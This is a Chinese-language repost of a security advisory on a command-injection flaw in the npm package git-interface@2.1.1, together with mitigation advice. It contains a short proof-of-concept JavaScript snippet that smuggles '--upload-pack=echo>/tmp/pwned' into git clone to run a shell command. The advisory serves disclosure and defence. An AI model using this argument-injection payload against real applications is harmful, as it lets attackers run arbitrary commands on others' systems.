前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >git-interface@2.1.1 中的命令注入漏洞

git-interface@2.1.1 中的命令注入漏洞

作者头像
洛米唯熊
发布2022-05-29 09:58:08
4380
发布2022-05-29 09:58:08
举报
文章被收录于专栏:洛米唯熊

git-interface@2.1.1 中的命令注入漏洞

git-interface将自己描述为与 node.js 中的 git 存储库一起使用的接口

资源:

项目的GitHub源代码:

https://github.com/yarkeev/git-interface

项目的npm包:

https://www.npmjs.com/package/git-interface

报告git-interfacenpm 包中的操作系统命令注入漏洞。如果用户输入能够提供磁盘上的有效目录并提供目标目录来克隆存储库,则 API 可能会被滥用。

POC

安装git-interface@2.1.1最新的。

运行以下代码,具有以下前提条件,其中/tmp/new目录需要存在(但不需要是 .git 初始化目录),因此,您可以提供可预测的路径,例如 say /usr/src:

代码语言:javascript
复制
const { Git } = require('git-interface');

const git = new Git({
    dir: '/tmp/new' //default path is current directory
});

git.clone('file:///tmp/new', '--upload-pack=echo>/tmp/pwned');

观察创建的新文件:/tmp/pwned

缓解建议

使用 shell--表示法作为支持的命令行参数的后缀(如果有的话),以确保传递给 git 命令的输入是位置参数而不是命令行参数。例如:git clone -- <path> <destination>将防止路径和目标被解释为 git 命令的命令行参数。

影响

如果两者都由用户输入提供,那么--upload-packgit 也支持使用命令行参数功能git clone,这将允许攻击者生成任何操作系统命令。

参考

Liran Tal 的 GitHub 要点

https://gist.github.com/lirantal/972eba057d4b60bd1656d68b40899eab

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-04-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档